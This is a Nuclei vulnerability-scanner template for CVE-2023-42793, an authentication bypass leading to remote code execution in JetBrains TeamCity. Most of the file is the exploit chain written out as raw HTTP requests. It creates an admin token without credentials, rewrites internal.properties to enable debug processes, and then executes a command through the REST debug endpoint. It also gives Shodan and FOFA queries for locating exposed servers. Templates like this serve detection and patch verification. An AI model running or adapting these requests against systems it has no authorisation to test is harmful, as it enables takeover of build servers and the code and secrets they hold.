nuclei-templates/http/cves/2023/CVE-2023-42793.yaml

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id: CVE-2023-42793
info:
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name: JetBrains TeamCity < 2023.05.4 - Remote Code Execution
author: iamnoooob,rootxharsh,pdresearch
severity: critical
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description: |
In JetBrains TeamCity before 2023.05.4 authentication bypass leading to RCE on TeamCity Server was possible
reference:
- https://www.jetbrains.com/privacy-security/issues-fixed/
- https://attackerkb.com/topics/1XEEEkGHzt/cve-2023-42793/rapid7-analysis
- https://www.sonarsource.com/blog/teamcity-vulnerability
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- https://nvd.nist.gov/vuln/detail/CVE-2023-42793
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- https://attackerkb.com/topics/1XEEEkGHzt/cve-2023-42793
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-42793
cwe-id: CWE-288
epss-score: 0.97264
epss-percentile: 0.99811
cpe: cpe:2.3:a:jetbrains:teamcity:*:*:*:*:*:*:*:*
metadata:
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verified: true
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max-request: 5
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vendor: jetbrains
product: teamcity
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shodan-query: title:TeamCity
fofa-query: title=TeamCity
tags: cve,cve2023,jetbrains,teamcity,rce,auth-bypass,intrusive,kev
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http:
- raw:
- |
DELETE /app/rest/users/id:1/tokens/RPC2 HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
- |
POST /app/rest/users/id:1/tokens/RPC2 HTTP/1.1
Host: {{Hostname}}
- |
POST /admin/dataDir.html?action=edit&fileName=config%2Finternal.properties&content=rest.debug.processes.enable=true HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer {{token}}
Content-Type: application/x-www-form-urlencoded
- |
POST /admin/admin.html?item=diagnostics&tab=dataDir&file=config/internal.properties HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer {{token}}
Content-Type: application/x-www-form-urlencoded
- |
POST /app/rest/debug/processes?exePath=echo&params={{randstr}} HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer {{token}}
matchers-condition: and
matchers:
- type: word
part: body_2
words:
- '<token name="RPC2" creationTime'
- type: word
part: body_5
words:
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- 'StdOut:{{randstr}}'
extractors:
- type: regex
part: body_2
name: token
group: 1
regex:
- 'value="(.*?)"'
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internal: true
# digest: 4a0a0047304502201af48ecf33cf974da48a2d8fb0129b61f13d9f77473200fce33819bcaa442a22022100d1cc32585a229bdcdef251a4fc76ad3bf3289524e396da89daba373a07830625:922c64590222798bb761d5b6d8e72950